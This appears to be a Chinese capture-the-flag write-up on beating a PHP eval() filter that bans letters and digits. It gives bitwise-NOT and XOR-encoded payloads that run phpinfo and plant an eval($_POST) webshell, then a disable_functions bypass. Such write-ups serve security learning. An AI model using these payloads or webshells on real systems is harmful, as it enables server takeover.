本文最后更新于445 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、访问网站

二、分析代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{ highlight_file(__FILE__);
}
// ?>
- 使用get传参 code,进行条件判断:
- 1)传入的长度不能超过40;
- 2)传入不能有大小写字母和数字
- 最后执行eval命令函数,
这时我们知道是无字母数字RCE,可以进行取反绕过
三、进行取反绕过
php脚本:
<?php
echo urlencode(~'phpinfo');
?>
%8F%97%8F%96%91%99%90
构造payload:
?code=(~%8F%97%8F%96%91%99%90)();

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下
四、构造webshell
php脚本:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
输出:
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

五、注入webshell
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
使用phpinfo();发现成功了

六、使用蚁剑链接
成功链接

发现flag文件为空

readflag显示乱码

因为php的一些函数被禁止,所以无法读取
七、使用插件绕过
右键点击绕过插件



成功获得flag
总结
- 无字母数字rce绕过:取反绕过
- disable_function插件绕过